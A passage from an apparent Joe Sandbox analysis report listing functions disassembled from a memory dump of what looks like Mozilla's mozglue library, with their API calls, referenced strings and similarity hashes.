free.MOZGLUE(?,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE01
GetLastError.KERNEL32(?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE3D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction ID: 88f27191fa96e4c0be3baa1440c729f154c77c3a385149080194aea3b723f517
Opcode Fuzzy Hash: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction Fuzzy Hash: 0D3141B1A002159FDB14DF7A8C44ABBB7F8EF49614F554829E84AD7700E734A805CBB9

Function 6C655EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C66DCA0,?,?,?,6C62E8B5,00000000), ref: 6C655F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C62E8B5,00000000), ref: 6C655F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C62E8B5,00000000), ref: 6C655F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655FD6

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction ID: 8f08228cd8296dfc0b0507a522ed99bdf003d17c61ddb6bc7aa9258af534964e
Opcode Fuzzy Hash: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction Fuzzy Hash: B03118343006008FD715CF29C898A2AB7F5BF89318FA48958F5568BB95C732EC51CF94

Function 6C5FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5FB532
moz_xmalloc.MOZGLUE(?), ref: 6C5FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5FB57E
free.MOZGLUE(00000000), ref: 6C5FB58F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction ID: 5f89e18b36994707c5caae9bca997063d11b1965ce0dbd89f168881fb983afcb
Opcode Fuzzy Hash: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction Fuzzy Hash: A321F871A00205DBDB05DF69CC80B6ABBB9FF42304F284529E914DB342F735D912CBA5

Function 6C5FB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5FB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FB849

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction ID: 159f743b708fa124804545423bfccd56e54f6f11ec66ef1d74aa00ba220e8f9e
Opcode Fuzzy Hash: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction Fuzzy Hash: A72148B0E002199FDF08DFA9C8855BEBBB4EF89314F148529E816A7700E731A945CBE5

Function 6C656E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C656E78

Part of subcall function 6C656A10: InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656A68
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656A7D
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656AA1
Part of subcall function 6C656A10: EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656AAE
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656AE1
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656B15
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C656B65
Part of subcall function 6C656A10: LeaveCriticalSection.KERNEL32(6C67F618,?,?), ref: 6C656B83

MozFormatCodeAddress.MOZGLUE ref: 6C656EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C656EFF

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction ID: 69f623bfeef32ac7b671824237d71b9297357f010765bbb6f192656798da0cb7
Opcode Fuzzy Hash: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction Fuzzy Hash: 5521C1B1A0421A8FCB04CF29D8C4ADE77F5EF84308F044439E80997340EB349A58CFA6

Function 6C630D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5F3DEF), ref: 6C630D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5F3DEF), ref: 6C630D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5F3DEF), ref: 6C630DAF

Strings

<jemalloc>, xrefs: 6C630D92, 6C630DB9
: (malloc) Error in VirtualFree(), xrefs: 6C630D97, 6C630DBE

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction ID: 6447d727be20cde1120ae188512be7dd1beafafe02cd47e0d2f259daee0b61a1
Opcode Fuzzy Hash: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction Fuzzy Hash: 43F0E9313802B423E63616660C0ABAA67DD67C2F25F307436F20CDA9C0DA94E4088ABD

Function 6C655850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C65586C
CloseHandle.KERNEL32 ref: 6C655878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C655898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6558C9
free.MOZGLUE(00000000), ref: 6C6558D3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction ID: 059be70a4ef38f57214b03a5c980e5eab55874aed7b768ac296e11f6240fa627
Opcode Fuzzy Hash: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction Fuzzy Hash: F90121717041219BEB0ADF27D88CE067BB8EB93325F644935D416C6610D73194158FAE

Function 6C647620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6475C4,?), ref: 6C64762B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647644
GetCurrentThreadId.KERNEL32 ref: 6C64765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647677

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction ID: cf39ac143e7702f20dfea94c5c4edbcec9aa4c19f87f408480abf4d86e1b4916
Opcode Fuzzy Hash: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction Fuzzy Hash: D1F0FF71E10345ABE3018F22C888676B778FFEA298F114316F90452601E7B0A5D18BE0

Function 6C651700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C651800

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Strings

name, xrefs: 6C651939
{marker.name} - {marker.data.name}, xrefs: 6C6518C7
Details, xrefs: 6C651925

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction ID: 09c58be0249bb8c9678dc0f72f7831a73f08d081ee46268926493b919016b075
Opcode Fuzzy Hash: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction Fuzzy Hash: 0C71F670A003069FD704CF29C494B9ABBB1FF86304F544669D8154BB41D770EAA9CFEA

Function 6C642CF0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C642E2D

Strings

(root), xrefs: 6C64354F
expected a Time entry, xrefs: 6C642E36
ProfileBuffer parse error: %s, xrefs: 6C642E3B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 711238415-4149320968
Opcode ID: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction ID: 7416517b355430796722b5ce55928937d8c5cf3b6a8f1ef4b3f484b95e32dc8c
Opcode Fuzzy Hash: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction Fuzzy Hash: FC519EB06087818FC724CF25C48169EB7E1AFCA358F20C92DE59A97B50DB30D945CB5E

Function 6C61D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751

Strings

MOZ_CRASH(), xrefs: 6C61D4BB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction ID: acca5cbbae122e6438eb5ba3ba8f03c9e3578f46570295b14588b589eb22f3b3
Opcode Fuzzy Hash: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction Fuzzy Hash: D151E171A087118FD729CF29C09065AB7F1EB89309F144E2ED59AC7F84D730E800CBAA

Function 6C644630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Strings

-%llu, xrefs: 6C644733
profiler-paused, xrefs: 6C6446E4
., xrefs: 6C64476A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction ID: b95a3b541b5f2e2ef0d97d8349d707875b6511af52e0adf799fbebecb7453bea
Opcode Fuzzy Hash: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction Fuzzy Hash: 11415971E047089BCB08DF7AD89216EBBF5EF86344F10C63DE855A7B41EB709805879A

Function 6C669830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C66985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C66987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6698DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6698D9

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction ID: ef9d0038d9faf098c9a14cc1f06eec31e53f8250b88f1b8027da8595b2d91a6c
Opcode Fuzzy Hash: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction Fuzzy Hash: 6C310871A001086FDF14AF59D8449EE77B9EF85718F50442DEA0AABB40CB7599048FEE

Function 6C6446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Part of subcall function 6C5F4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C633EBD,00000017,?,00000000,?,6C633EBD,?,?,6C5F42D2), ref: 6C5F4444

Strings

-%llu, xrefs: 6C644733
profiler-paused, xrefs: 6C6446E4
., xrefs: 6C64476A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction ID: ee1a9e8851a23e3f61633a3a236bbc77c38040de0e2c57e8815a1fbf23d1a244
Opcode Fuzzy Hash: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction Fuzzy Hash: A3315971F042085BDB0CCF6DD8826ADBBE6DB89314F14C53EE8059BB40EBB4D8058B99

Function 6C64B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C64B127), ref: 6C64B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C64B4E4

Strings

pid:, xrefs: 6C64B4DE

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction ID: 5f97956d568549577b16807c49fcbc368043fd2ad70e0d332c254860a59a2f03
Opcode Fuzzy Hash: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction Fuzzy Hash: 56314831A01618DFCB04DFA9D880AEEB7B5FF85318F548929D80167A41D731E849CFE9

Function 6C60BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C657A3F), ref: 6C60BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C657A3F), ref: 6C60BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C657A3F), ref: 6C60BF7E

Strings

fl, xrefs: 6C60BF84

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: fl
API String ID: 4279176481-3822986822
Opcode ID: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction ID: 74de540aa1abd731f5464f84b75d5443d2855dac4e3fc8bef014787095124244
Opcode Fuzzy Hash: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction Fuzzy Hash: C011C0792006048FC729CF4DD699966FBF8FF99308715885DE98A8BB50C731E800CB95

Function 6C63E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

